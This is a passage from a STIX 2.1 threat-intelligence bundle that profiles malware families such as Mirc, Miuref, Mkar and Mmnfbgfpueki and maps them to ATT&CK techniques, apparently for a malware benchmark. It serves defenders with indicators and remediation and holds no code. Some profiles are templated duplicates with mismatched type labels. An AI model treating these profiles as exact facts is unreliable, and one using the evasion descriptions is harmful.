      "target_ref": "attack-pattern--9bf236e3-6e29-5cd4-bde3-5bd026eac9b7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirai exhibits technique T1499.004 (Endpoint DoS Exploitation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b400c79-5735-5ec9-8be4-5b06e7264f53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0619f14d-3cf3-5192-8537-79cbd8a53d5c",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirai exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f02fa714-e13c-5d41-818c-3ed5ebbe39e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0619f14d-3cf3-5192-8537-79cbd8a53d5c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirai exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61d88c71-4aca-5807-a0a9-9e8a3aa97f62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0619f14d-3cf3-5192-8537-79cbd8a53d5c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirai exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c94acf7f-5e85-519a-8283-58ec56084bec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mirc",
      "description": "HackTool:Win32/mIRC (or **mIRC Abuse**) refers to the malicious exploitation of the legitimate, highly popular Internet Relay Chat (IRC) client, mIRC. While the software itself is perfectly legal, historically, it was the foundational architecture for the very first massive botnets. Threat actors would secretly install modified versions of mIRC on victim machines to connect them to decentralized, attacker-controlled chat rooms, allowing a single 'Botmaster' to issue commands to thousands of infected PCs simultaneously.<br><br><b>Understanding IRC Botnets</b><br>To an infected user, the mIRC client was configured to run silently in the background, completely invisible. For security analysts in the early 2000s, IRC botnets were the primary method of conducting massive Distributed Denial of Service (DDoS) attacks. Because IRC is a highly resilient, decentralized protocol designed for massive group communication, it was perfectly suited for Command and Control (C2).<br><br><b>Execution and Botnet Mechanics</b><br>The attack begins with a dropper (often a worm or trojan) infecting the machine (`T1204.002`). It silently drops a legitimate copy of `mirc.exe` into a hidden folder, alongside a heavily customized `mirc.ini` (configuration file) and a malicious `script.ini` (mIRC scripting language file) (`T1059`). It establishes persistence via Registry Run keys to ensure mIRC starts at boot. The customized client automatically connects to the attacker's IRC server (`T1071.001`), joins a password-protected, hidden channel, and waits for text commands. The malicious `script.ini` translates these IRC chat commands into native Windows actions, allowing the attacker to download further payloads (`T1105`), launch SYN floods (DDoS), or steal files.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact was the unauthorized use of the machine's bandwidth for DDoS attacks, and the potential for secondary malware deployment. The most glaring IoC is persistent, long-standing outbound network connections on TCP Port 6667 (the default IRC port) to unknown domains. Host-based IoCs include the presence of `mirc.exe` running in the background (often renamed to `svchost.exe`) and the existence of malicious `.ini` scripts in the application directory. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mirc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mirc"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec14913a-fe89-5c7a-ad3c-6ad0c45c0c42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c94acf7f-5e85-519a-8283-58ec56084bec",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirc exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (IRC for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c37a6e94-daae-5565-b9f1-78b76a86b0d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c94acf7f-5e85-519a-8283-58ec56084bec",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirc exhibits technique T1059 (Command and Scripting Interpreter (mIRC Scripting Language))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e53a184-fefc-5be2-a781-962b6eaaa957",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c94acf7f-5e85-519a-8283-58ec56084bec",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ae85218-4869-513e-9c1d-94eea71b5b63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c94acf7f-5e85-519a-8283-58ec56084bec",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirc exhibits technique T1498 (Network Denial of Service (Botnet DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b281b133-4999-5ad9-89c0-b73a77ada163",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mirkov",
      "description": "Trojan:Win32/Mirkov is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mirkov</b><br>To an end-user, a Mirkov infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mirkov is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mirkov is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mirkov frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mirkov reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mirkov",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mirkov"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba0fed70-a326-5911-b476-7a151dbc32e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b281b133-4999-5ad9-89c0-b73a77ada163",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirkov exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6161578d-f5ba-5ffa-8485-60d5e77845e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b281b133-4999-5ad9-89c0-b73a77ada163",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirkov exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4bfee42-5837-556e-9dfd-acc75937578a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b281b133-4999-5ad9-89c0-b73a77ada163",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirkov exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--529d5ff4-7858-521b-9bd1-d87f502c642b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b281b133-4999-5ad9-89c0-b73a77ada163",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirkov exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3927d9f-65e4-5dc0-b30d-20d9ace6a71b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b281b133-4999-5ad9-89c0-b73a77ada163",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirkov exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--960cf6a8-a004-5392-9e32-969142926265",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Miuref",
      "description": "Trojan:Win32/Miuref (also known in the cybersecurity community as **Boaxxe**) is a massive, highly resilient botnet primarily focused on generating illicit revenue for its operators through aggressive, automated click-fraud and search engine hijacking. It silently compromises endpoints, turning them into invisible ad-clicking nodes that drain marketing budgets and artificially inflate web traffic statistics.<br><br><b>Understanding the Miuref Botnet</b><br>To an end-user, a Miuref infection might manifest as sluggish internet performance or unexpected search engine redirections. However, for a security operations center (SOC), the presence of Miuref indicates a compromised endpoint that is actively communicating with a known criminal infrastructure. Because click-fraud botnets are primarily financially motivated rather than destructive, they are designed to be extremely stealthy, often residing on systems for months without detection.<br><br><b>Execution and Click-Fraud Mechanics</b><br>Miuref is typically distributed via malvertising campaigns, exploit kits (`T1189`), or bundled with pirated software (`T1204.002`). Upon execution, it establishes persistence via the Registry Run keys or hidden Scheduled Tasks (`T1053.005`). Its core functionality involves injecting malicious DLLs into legitimate web browser processes (like `chrome.exe` or `iexplore.exe`) (`T1055.001`). Once injected, Miuref operates entirely in the background. It reaches out to its Command-and-Control (C2) server (`T1071.001`) to download lists of target URLs and advertisement banners. Using the context of the hijacked browser, it silently navigates to these URLs, simulates user clicks on the advertisements, and intercepts search queries, redirecting the user's browser to affiliate marketing pages (`T1185`) to generate revenue.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized consumption of network bandwidth, the degradation of endpoint performance, and the endpoint's participation in large-scale advertising fraud. The most glaring IoC is a high volume of outbound HTTP/HTTPS traffic to known adware tracking domains or suspicious, low-reputation ad networks, often occurring when the user is not actively browsing. EDR alerts for DLL injection into browser processes are critical indicators. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Miuref",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/miuref"
        }
      ],
      "labels": [
        "click_fraud",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15c764e7-d3b2-50ff-8f42-3fdb8aba8790",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--960cf6a8-a004-5392-9e32-969142926265",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miuref exhibits technique T1189 (Drive-by Compromise (Malvertising delivery))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f7fd8ad-3f46-592a-b8f5-822859b34d00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--960cf6a8-a004-5392-9e32-969142926265",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miuref exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (Injecting into browsers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1337461-66ec-5e46-8d8d-2dd961ac92f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--960cf6a8-a004-5392-9e32-969142926265",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miuref exhibits technique T1185 (Browser Session Hijacking (Search redirection and silent clicking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaec9a2c-70c4-5d1d-a541-e00c72764855",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--960cf6a8-a004-5392-9e32-969142926265",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miuref exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 communication for ad lists))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10f6e2e6-5bdd-562d-920f-8319a270e8d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mkar",
      "description": "Trojan:Win32/Mkar is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mkar</b><br>To an end-user, a Mkar infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mkar is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mkar is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mkar frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mkar reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mkar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mkar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25663424-c23f-58d9-9c0a-1e5be32b99ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f6e2e6-5bdd-562d-920f-8319a270e8d2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mkar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27c0aedc-d52b-5580-9bd1-61c53920a96f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f6e2e6-5bdd-562d-920f-8319a270e8d2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mkar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bd7be4f-88b2-5586-ad5b-21938178490d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f6e2e6-5bdd-562d-920f-8319a270e8d2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mkar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de359625-2d5b-5a6f-b9a4-e7c114273e3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f6e2e6-5bdd-562d-920f-8319a270e8d2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mkar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af97e17f-a503-5483-b114-771d316a15a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f6e2e6-5bdd-562d-920f-8319a270e8d2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mkar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f97e7cf3-d18d-5f16-8754-93c2eecfb260",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mlwr",
      "description": "Trojan:Win32/Mlwr is not a specific malware family, but rather a **Generic Heuristic Detection** (short for 'Malware'). It indicates that an antivirus engine (often Microsoft Defender) has identified an executable file that exhibits behaviors, code structures, or API call sequences that strongly correlate with malicious trojan activity, even though no exact signature exists for the file in the AV database.<br><br><b>Understanding Generic Trojan Detections</b><br>To an end-user, a Mlwr alert appears as a standard virus warning. For a security analyst, a generic detection is a crucial early warning sign. It often indicates an encounter with a newly compiled (zero-day) threat, a heavily packed variant of known malware that has bypassed static signatures, or a custom-built tool used by an Advanced Persistent Threat (APT) group.<br><br><b>Execution and Suspicious Mechanics</b><br>Because 'Mlwr' is a generic label, the specific mechanics vary wildly. The detection is usually triggered by dynamic analysis (in a micro-sandbox) or behavioral monitoring. The file may have attempted to silently drop an executable into the `System32` directory (`T1036`), tried to inject code into a running system process (`T1055`), modified critical registry keys to establish persistence (`T1547.001`), or initiated outbound network connections to suspicious IP addresses immediately upon execution (`T1071.001`). The AV engine observes these 'malware-like' actions and blocks the process heuristically.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the true nature of the blocked payload. Host-based IoCs consist of the quarantined file itself and the specific EDR telemetry detailing exactly which API calls or file system modifications triggered the heuristic engine. Network IoCs are critical for determining the malware's intent; analysts must review proxy logs for any outbound connections attempted by the process just before it was terminated. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mlwr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mlwr"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1b38d94-a28b-530f-b8ec-3ead530fc43b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f97e7cf3-d18d-5f16-8754-93c2eecfb260",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mlwr exhibits technique T1055 (Process Injection (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fec03c1d-6fdf-5ec9-beaa-5346a0e0c280",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f97e7cf3-d18d-5f16-8754-93c2eecfb260",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mlwr exhibits technique T1027 (Obfuscated Files or Information (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbf30453-fbf1-5f6a-8b1b-1a133a56283c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f97e7cf3-d18d-5f16-8754-93c2eecfb260",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mlwr exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry changes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d24fdd1-23a6-5286-ae48-5e783b5b5072",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mmnfbgfpueki",
      "description": "<h3>Executive Summary</h3>\n\"Mmnfbgfpueki\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker (like Emotet or Trickbot).\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized (using tools like VMProtect or custom packers). This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Dynamic Infrastructure:</strong> The malware often relies on a Domain Generation Algorithm (DGA) to rapidly cycle through thousands of potential command-and-control (C2) domains, making IP/Domain blacklisting at the firewall ineffective.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior (e.g., an unknown executable attempting to inject code into `svchost.exe`).</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed (such as rootkit-like persistence), attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Mmnfbgfpueki",
        "Malware.Obfuscated.DGA",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mmnfbgfpueki",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mmnfbgfpueki"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6908d2e4-c778-58d6-a59f-913e49340215",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d24fdd1-23a6-5286-ae48-5e783b5b5072",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmnfbgfpueki exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba3c459f-d752-59b7-9fbd-b4a377f10b5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d24fdd1-23a6-5286-ae48-5e783b5b5072",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmnfbgfpueki exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ecb9f42-1876-5ac9-86e7-1f8f4ecb181a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d24fdd1-23a6-5286-ae48-5e783b5b5072",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmnfbgfpueki exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
